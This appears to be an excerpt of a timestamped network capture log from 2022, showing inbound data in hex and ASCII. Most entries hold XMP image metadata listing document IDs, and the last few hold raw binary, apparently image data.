2022-07-20 17:09:02 UTC	7821	IN	Data Raw: 38 35 38 65 34 64 61 34 66 31 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 35 62 62 35 61 62 2d 64 36 38 32 2d 66 34 34 32 2d 61 34 37 34 2d 64 37 63 35 39 39 37 64 34 63 65 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 38 38 32 30 65 62 2d 61 31 39 61 2d 34 64 64 61 2d 39 32 31 39 2d 35 38 65 64 66 33 65 38 36 61 35 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 39 64 61 62 36 36 2d 30 35 39 65 2d 65 62 34 63 2d 38 34 30 37 2d 66 38 32 62 64 66 63 62 63 30 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 62 34 31 37 34 65 2d 38 39 64 64 2d 34 63 66 61 2d 62 37 30 62 2d 38 37 63 63 36 32 39 Data Ascii: 858e4da4f143</rdf:li> <rdf:li>xmp.did:4f5bb5ab-d682-f442-a474-d7c5997d4ce8</rdf:li> <rdf:li>xmp.did:4f8820eb-a19a-4dda-9219-58edf3e86a5c</rdf:li> <rdf:li>xmp.did:4f9dab66-059e-eb4c-8407-f82bdfcbc0a4</rdf:li> <rdf:li>xmp.did:4fb4174e-89dd-4cfa-b70b-87cc629
2022-07-20 17:09:02 UTC	7837	IN	Data Raw: 31 36 63 62 39 62 38 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 63 65 36 62 37 32 66 2d 37 37 63 63 2d 35 62 34 39 2d 38 30 34 64 2d 30 39 31 30 32 64 36 66 64 30 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 33 36 63 36 36 65 2d 64 64 36 30 2d 34 31 34 66 2d 61 39 32 30 2d 30 63 65 33 32 66 32 31 31 61 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 36 65 63 34 38 34 2d 30 33 39 33 2d 30 37 34 33 2d 38 61 38 64 2d 34 33 36 39 62 30 32 31 36 64 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 38 32 33 62 38 38 2d 38 37 63 35 2d 34 37 64 33 2d 62 65 38 61 2d 66 34 31 64 63 32 63 66 37 63 36 Data Ascii: 16cb9b8e</rdf:li> <rdf:li>xmp.did:5ce6b72f-77cc-5b49-804d-09102d6fd012</rdf:li> <rdf:li>xmp.did:5d36c66e-dd60-414f-a920-0ce32f211a34</rdf:li> <rdf:li>xmp.did:5d6ec484-0393-0743-8a8d-4369b0216d71</rdf:li> <rdf:li>xmp.did:5d823b88-87c5-47d3-be8a-f41dc2cf7c6
2022-07-20 17:09:02 UTC	7853	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 36 45 46 38 45 33 41 30 39 45 32 30 36 38 31 31 41 45 35 36 43 30 39 31 35 42 33 42 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 45 46 45 39 42 46 35 44 34 32 30 36 38 31 31 38 43 31 34 41 33 36 45 35 36 36 45 31 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 31 41 33 37 31 44 37 39 31 45 45 36 31 31 42 44 38 38 42 44 38 31 43 42 30 38 39 38 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 34 46 38 34 32 46 30 39 32 31 36 38 31 31 41 46 46 44 44 33 32 32 36 30 41 42 33 42 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 36 30 37 43 43 45 31 39 32 30 36 38 31 Data Ascii: xmp.did:6EF8E3A09E206811AE56C0915B3BCD41</rdf:li> <rdf:li>xmp.did:6EFE9BF5D42068118C14A36E566E12DA</rdf:li> <rdf:li>xmp.did:6F1A371D791EE611BD88BD81CB08980D</rdf:li> <rdf:li>xmp.did:6F4F842F09216811AFFDD32260AB3BBC</rdf:li> <rdf:li>xmp.did:6F607CCE1920681
2022-07-20 17:09:02 UTC	7861	IN	Data Raw: 70 2e 64 69 64 3a 37 34 43 39 46 38 36 33 35 38 37 39 45 34 31 31 42 41 37 42 46 44 34 37 36 35 30 35 38 34 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 43 41 37 36 33 34 31 45 30 43 45 34 31 31 39 37 46 32 38 33 44 45 41 39 46 42 44 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 46 31 35 36 45 41 31 42 32 33 36 38 31 31 41 35 35 46 43 37 34 43 33 35 43 39 37 31 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 31 34 66 33 37 2d 33 65 62 36 2d 34 39 37 61 2d 38 61 34 32 2d 37 37 33 32 64 35 39 36 61 64 63 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 66 34 61 66 38 2d 62 37 35 32 Data Ascii: p.did:74C9F8635879E411BA7BFD476505848B</rdf:li> <rdf:li>xmp.did:74CA76341E0CE41197F283DEA9FBD9D1</rdf:li> <rdf:li>xmp.did:74F156EA1B236811A55FC74C35C971C2</rdf:li> <rdf:li>xmp.did:74a14f37-3eb6-497a-8a42-7732d596adc3</rdf:li> <rdf:li>xmp.did:74af4af8-b752
2022-07-20 17:09:02 UTC	7877	IN	Data Raw: 66 32 35 2d 63 38 34 30 2d 62 61 31 66 2d 61 66 38 35 65 35 32 35 30 66 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 66 63 61 65 39 35 2d 37 36 30 35 2d 61 61 34 63 2d 61 65 35 63 2d 65 61 65 39 62 66 66 30 63 33 39 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 35 30 30 38 2d 37 39 30 37 2d 34 35 66 38 2d 39 32 63 38 2d 35 65 36 38 37 36 38 31 36 37 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 45 34 38 37 34 44 32 30 36 38 31 31 41 37 42 41 41 39 46 39 34 38 41 33 39 46 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 42 32 44 44 45 46 44 39 44 45 31 31 31 41 44 44 32 39 Data Ascii: f25-c840-ba1f-af85e5250f31</rdf:li> <rdf:li>xmp.did:84fcae95-7605-aa4c-ae5c-eae9bff0c39d</rdf:li> <rdf:li>xmp.did:85025008-7907-45f8-92c8-5e6876816709</rdf:li> <rdf:li>xmp.did:8502E4874D206811A7BAA9F948A39F42</rdf:li> <rdf:li>xmp.did:850B2DDEFD9DE111ADD29
2022-07-20 17:09:02 UTC	7893	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 33 34 41 33 35 32 44 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 38 36 45 43 38 35 32 30 36 45 37 31 31 41 37 41 46 45 32 37 42 45 37 34 31 38 38 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 32 31 45 45 30 31 44 44 46 41 45 34 31 31 38 45 36 34 46 32 30 31 45 30 30 45 45 43 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 32 33 32 35 32 37 30 39 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 Data Ascii: :li> <rdf:li>xmp.did:92134A352D2068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:92186EC85206E711A7AFE27BE74188FE</rdf:li> <rdf:li>xmp.did:9221EE01DDFAE4118E64F201E00EEC2A</rdf:li> <rdf:li>xmp.did:92232527092068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:92
2022-07-20 17:09:02 UTC	7901	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 34 35 35 41 38 37 31 34 32 30 36 38 31 31 39 37 41 35 38 34 46 38 33 39 32 37 42 33 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 31 34 45 30 35 44 36 31 45 35 31 31 38 37 45 36 42 37 32 31 43 44 33 35 32 43 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 35 43 32 33 38 38 32 46 45 34 31 31 38 37 44 41 46 38 37 30 45 39 30 42 45 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 38 36 30 32 33 62 2d 39 61 62 65 2d 34 30 31 61 2d 62 32 63 34 2d 30 65 65 39 34 36 63 65 61 65 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: /rdf:li> <rdf:li>xmp.did:99455A871420681197A584F83927B384</rdf:li> <rdf:li>xmp.did:997314E05D61E51187E6B721CD352C7A</rdf:li> <rdf:li>xmp.did:99735C23882FE41187DAF870E90BEFD2</rdf:li> <rdf:li>xmp.did:9986023b-9abe-401a-b2c4-0ee946ceae42</rdf:li> <rdf:li>xm
2022-07-20 17:09:02 UTC	7917	IN	Data Raw: 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 33 38 30 30 32 41 34 35 44 45 33 31 31 38 31 45 36 45 42 46 38 33 38 32 41 38 41 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 36 39 31 36 36 33 45 32 30 36 38 31 31 42 41 41 43 39 46 38 38 39 42 35 38 43 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 34 46 37 45 34 43 43 32 31 36 38 31 31 38 32 32 41 46 41 39 46 46 36 39 34 33 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 37 45 30 43 42 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a Data Ascii: 1A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:ACB38002A45DE31181E6EBF8382A8AFE</rdf:li> <rdf:li>xmp.did:ACB691663E206811BAAC9F889B58CD3E</rdf:li> <rdf:li>xmp.did:AD04F7E4CC216811822AFA9FF6943483</rdf:li> <rdf:li>xmp.did:AD07E0CBFD9DE111ADD29B684E45E581</rdf:
2022-07-20 17:09:02 UTC	7933	IN	Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 35 38 41 39 39 33 30 41 30 38 31 31 45 35 38 41 45 45 44 31 36 39 33 36 32 45 33 32 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 36 36 41 39 39 41 41 32 32 39 36 38 31 31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 37 36 31 30 33 33 31 36 32 30 36 38 31 31 42 36 39 39 41 31 38 45 37 30 33 34 41 44 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 38 32 41 35 38 45 33 44 41 43 45 34 31 31 38 36 34 45 46 43 34 44 32 45 38 41 37 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 39 32 42 41 38 44 Data Ascii: rdf:li>xmp.did:C658A9930A0811E58AEED169362E32DF</rdf:li> <rdf:li>xmp.did:C666A99AA2296811822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:C676103316206811B699A18E7034AD98</rdf:li> <rdf:li>xmp.did:C682A58E3DACE411864EFC4D2E8A7785</rdf:li> <rdf:li>xmp.did:C692BA8D
2022-07-20 17:09:02 UTC	7941	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 44 31 33 41 41 45 35 46 43 46 37 30 45 37 31 31 42 36 35 31 45 35 46 46 36 34 45 45 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 34 33 34 41 30 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 38 46 36 37 38 43 44 45 38 45 30 31 31 38 45 30 45 46 44 39 45 46 41 39 31 35 44 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 36 38 36 31 39 45 32 32 36 31 31 31 36 38 42 36 32 38 41 31 39 44 43 46 39 45 46 46 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 38 35 44 46 42 41 37 38 32 30 36 38 Data Ascii: >xmp.did:D13AAE5FCF70E711B651E5FF64EE3282</rdf:li> <rdf:li>xmp.did:D15434A00920681180838C305DCA9E89</rdf:li> <rdf:li>xmp.did:D158F678CDE8E0118E0EFD9EFA915D83</rdf:li> <rdf:li>xmp.did:D168619E22611168B628A19DCF9EFFD4</rdf:li> <rdf:li>xmp.did:D185DFBA782068
2022-07-20 17:09:02 UTC	7957	IN	Data Raw: 64 3a 45 36 34 36 30 32 33 37 46 46 45 34 45 30 31 31 42 37 34 33 39 42 36 38 41 30 31 31 33 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 34 41 43 38 44 37 30 44 45 31 44 45 31 31 39 33 43 37 38 41 33 37 37 46 33 30 38 31 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 35 44 32 42 41 46 39 37 32 30 36 38 31 31 38 46 36 32 38 34 35 32 38 35 44 33 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 36 46 39 46 32 46 35 33 32 45 31 31 31 39 35 39 35 41 31 44 44 35 31 36 42 30 42 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 38 37 39 31 37 31 31 32 30 36 38 31 31 38 32 32 41 45 Data Ascii: d:E6460237FFE4E011B7439B68A01138EA</rdf:li> <rdf:li>xmp.did:E64AC8D70DE1DE1193C78A377F30813B</rdf:li> <rdf:li>xmp.did:E65D2BAF972068118F62845285D33C56</rdf:li> <rdf:li>xmp.did:E666F9F2F532E1119595A1DD516B0B08</rdf:li> <rdf:li>xmp.did:E668791711206811822AE
2022-07-20 17:09:02 UTC	7973	IN	Data Raw: 37 35 30 35 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 46 38 41 34 34 33 32 34 41 45 33 39 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 41 34 38 30 39 31 46 31 36 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 43 41 46 46 41 38 31 44 33 34 33 45 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 44 45 35 39 33 45 35 32 30 38 41 42 30 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: 7505E2</rdf:li> <rdf:li>xmp.did:F77F117407206811A9F8A44324AE3979</rdf:li> <rdf:li>xmp.did:F77F117407206811AB08A48091F1675E</rdf:li> <rdf:li>xmp.did:F77F117407206811ACAFFA81D343EDA5</rdf:li> <rdf:li>xmp.did:F77F117407206811ADE593E5208AB01B</rdf:li> <rdf:li
2022-07-20 17:09:02 UTC	7977	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 46 43 34 30 32 33 34 31 36 32 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 39 30 35 43 44 42 31 31 35 43 44 41 44 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 33 37 32 43 39 41 37 46 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 32 32 46 31 43 41 44 41 37 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 Data Ascii: li> <rdf:li>xmp.did:F97F11740720681188C6FC4023416217</rdf:li> <rdf:li>xmp.did:F97F1174072068118905CDB115CDADF5</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6D8372C9A7F6EA</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6DB22F1CADA7F5</rdf:li> <rdf:li>xmp.did:F97
2022-07-20 17:09:02 UTC	7993	IN	Data Raw: 31 61 36 65 63 66 2d 35 64 63 63 2d 62 34 34 39 2d 38 34 35 39 2d 37 39 37 38 61 65 61 61 33 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 62 35 62 64 65 39 2d 36 33 62 65 2d 34 36 65 38 2d 61 39 34 64 2d 63 63 65 31 64 32 66 35 32 32 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 63 34 36 37 35 32 2d 61 37 31 34 2d 39 38 34 35 2d 61 34 30 38 2d 32 32 65 63 35 34 39 38 38 62 62 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 64 66 62 32 34 31 2d 32 34 37 66 2d 34 32 31 33 2d 61 63 30 37 2d 30 65 36 61 36 30 32 34 38 33 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 65 31 34 62 66 36 63 2d Data Ascii: 1a6ecf-5dcc-b449-8459-7978aeaa3dec</rdf:li> <rdf:li>xmp.did:adb5bde9-63be-46e8-a94d-cce1d2f5222b</rdf:li> <rdf:li>xmp.did:adc46752-a714-9845-a408-22ec54988bbe</rdf:li> <rdf:li>xmp.did:addfb241-247f-4213-ac07-0e6a60248332</rdf:li> <rdf:li>xmp.did:ae14bf6c-
2022-07-20 17:09:02 UTC	8009	IN	Data Raw: 66 36 30 61 31 30 61 2d 63 36 33 34 2d 34 35 66 34 2d 62 36 33 39 2d 34 33 33 35 66 65 38 39 61 31 61 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 38 35 31 38 32 37 2d 66 31 30 31 2d 34 33 31 32 2d 39 64 35 30 2d 36 62 34 63 34 65 36 64 37 36 65 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 38 63 32 33 61 35 2d 39 33 32 37 2d 34 65 33 37 2d 38 35 39 65 2d 30 33 33 35 32 32 63 31 32 64 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 61 61 38 35 64 64 2d 65 39 66 33 2d 39 38 34 32 2d 62 36 37 61 2d 64 37 34 65 31 38 30 64 65 62 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 65 64 66 63 38 30 Data Ascii: f60a10a-c634-45f4-b639-4335fe89a1a8</rdf:li> <rdf:li>xmp.did:df851827-f101-4312-9d50-6b4c4e6d76ed</rdf:li> <rdf:li>xmp.did:df8c23a5-9327-4e37-859e-033522c12d34</rdf:li> <rdf:li>xmp.did:dfaa85dd-e9f3-9842-b67a-d74e180deb41</rdf:li> <rdf:li>xmp.did:dfedfc80
2022-07-20 17:09:02 UTC	8016	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 31 63 65 35 39 39 2d 31 33 66 34 2d 34 35 38 65 2d 62 37 66 37 2d 63 30 34 35 30 34 66 64 31 63 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 63 34 61 61 62 64 2d 31 39 35 61 2d 66 61 34 39 2d 62 37 34 32 2d 63 30 38 64 33 31 38 37 34 66 37 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 31 63 64 36 65 30 2d 38 34 37 35 2d 34 38 31 36 2d 39 35 36 63 2d 39 30 33 61 31 32 62 39 34 65 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 32 35 65 39 38 66 2d 39 30 64 32 2d 34 37 64 30 2d 39 36 66 36 2d 36 62 34 62 63 66 63 65 61 65 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: df:li> <rdf:li>xmp.did:f61ce599-13f4-458e-b7f7-c04504fd1c4d</rdf:li> <rdf:li>xmp.did:f6c4aabd-195a-fa49-b742-c08d31874f7b</rdf:li> <rdf:li>xmp.did:f71cd6e0-8475-4816-956c-903a12b94e70</rdf:li> <rdf:li>xmp.did:f725e98f-90d2-47d0-96f6-6b4bcfceaeeb</rdf:li>
2022-07-20 17:09:02 UTC	8032	IN	Data Raw: 94 ef 4a b6 fb ee ed 43 f7 0b 6e 9a e8 79 7a 6b bb bb c9 49 50 c4 f8 7c a1 b2 ca a7 83 f2 c6 66 40 f8 cc 10 e9 12 0d 4a f2 11 19 24 7d d2 fe dd 2f 8e 43 1e 49 9f 98 ab 4b a8 ed 6b ea db e7 78 eb 45 cd 79 fe 37 06 14 92 79 24 1a 40 30 81 a5 57 66 eb 7e 27 d7 a4 90 65 4f 9b 21 44 d1 14 3e 7e f5 c5 56 89 e5 60 cd 20 dd b6 21 be 1c 8a 9f c4 ff 00 c7 5c 48 d2 c3 16 a6 b1 f3 18 a7 8c 26 31 44 23 cd ea f4 28 a9 02 c9 8c 15 88 24 8b 13 61 6b f6 bc 54 8f 27 e5 b7 0a 5f 1d c3 b7 48 5e 8d 9e 9d 0f 85 cd 1b 04 1c 59 50 dd 4f 45 fa 29 7d 05 71 78 9b 2c 4e 58 f3 d4 96 65 db 4e 31 7e 13 22 21 1a 4a 63 92 36 6d 41 85 91 bc 3f 0d 1e af b7 50 cd e4 f9 2c 1a 48 d4 32 a8 db 62 36 df c1 f7 b4 bf 33 07 e2 2c d8 e4 32 37 48 1d 54 e3 1b 05 a0 4e 24 d2 17 d7 6b 0d bb 8a 3f 7e b9 Data Ascii: JCnyzkIP\|f@J$}/CIKkxEy7y$@0Wf~'eO!D>~V` !\H&1D#($akT'_H^YPOE)}qx,NXeN1~"!Jc6mA?P,H2b63,27HTN$k?~
2022-07-20 17:09:02 UTC	8048	IN	Data Raw: 8b 72 5f 15 3c 67 58 79 b4 62 36 06 2e 84 0b d8 4b fb 44 ed fd 7d ca 56 af 8f 0c 92 26 54 48 64 6d e7 79 17 62 dc 6e 24 7d fd 72 7d ed 01 fe d1 06 50 33 c2 0c 0e 2c 57 41 23 67 8a aa f7 1f 86 39 76 91 cb 47 11 8f 04 79 b1 c6 4a 5c 7d c0 24 a1 72 f7 da b2 26 fc 7c ff 00 65 ff 00 15 3b e6 e1 23 cf 80 cd 33 59 a4 75 21 2f ab 68 fb c4 fa 94 c2 1c 49 a5 9a f8 aa 60 c5 55 d8 c4 db 59 fe 0f b6 df 7f 7f 33 d6 7f 2b 95 cb 83 8a b9 98 d9 25 8c 2e 18 2c 8b ac dd 8e 8d 7c 4f c3 a6 99 cd cf d2 2d 03 85 34 4d 62 59 06 99 19 4f 71 23 9b 76 b2 5a 3e a6 09 13 21 3b d0 ef e6 9b df c3 fb cd fa b8 4e 7a 80 ac ae bc b5 a0 8a ed 86 0c 8e 00 2b d2 07 7b c5 58 ce 71 cb 25 e4 f7 9f 1e f2 63 cb ab 65 bb 02 de d6 b4 1c a7 e6 38 25 42 d9 61 f1 d5 36 28 91 4a af 83 da 76 29 a3 65 c1 Data Ascii: r_<gXyb6.KD}V&THdmybn$}r}P3,WA#g9vGyJ\}$r&\|e;#3Yu!/hI`UY3+%.,\|O-4MbYOq#vZ>!;Nz+{Xq%ce8%Ba6(Jv)e
2022-07-20 17:09:02 UTC	8056	IN	Data Raw: a9 3b df 8b 5a b9 79 96 36 1e 3c 7f 14 db e1 14 b0 17 3b 48 ed ad 65 cb 2b 88 23 c7 27 69 0b e5 c6 ae f8 b6 e7 05 4b 69 7b ed a5 19 d8 32 73 36 55 9e 65 8e 04 b0 0a 06 95 2d ef 1a b4 1c bb 94 62 e0 a8 e1 28 2d e3 20 16 fb 54 2a cb 14 a5 66 93 62 01 75 51 b4 dc f7 a4 af 64 73 74 82 26 6c 78 d9 82 82 4d 86 c1 f8 95 46 46 96 45 11 ad d5 47 2f 0a 50 a3 63 b3 c7 e9 d4 be 60 e6 e7 02 35 8a 01 af 26 63 a6 34 e9 d5 f7 9a ff 00 0f 4d 2e e5 bf 2f 62 38 67 69 35 39 70 cf a4 69 2c eb ad b8 70 ff 00 f9 34 4f 52 e4 6c 39 e6 73 f3 56 52 22 8d 78 51 5f bd f7 f2 d4 be 62 e6 83 00 31 83 66 44 82 c8 d6 ec 27 bd 97 f7 29 91 06 89 84 09 f1 76 ca 7d 7f 2f f7 34 cc ca 8b 8f 1a 41 f3 6c d8 8d 22 e2 63 20 66 88 ef 48 4d da ff 00 72 bf f5 3c fa cd c2 00 26 c0 85 14 6a 47 d2 c6 aa Data Ascii: ;Zy6<;He+#'iKi{2s6Ue-b(- T*fbuQdst&lxMFFEG/Pc`5&c4M./b8gi59pi,p4ORl9sVR"xQ_b1fD')v}/4Al"c fHMr<&jG
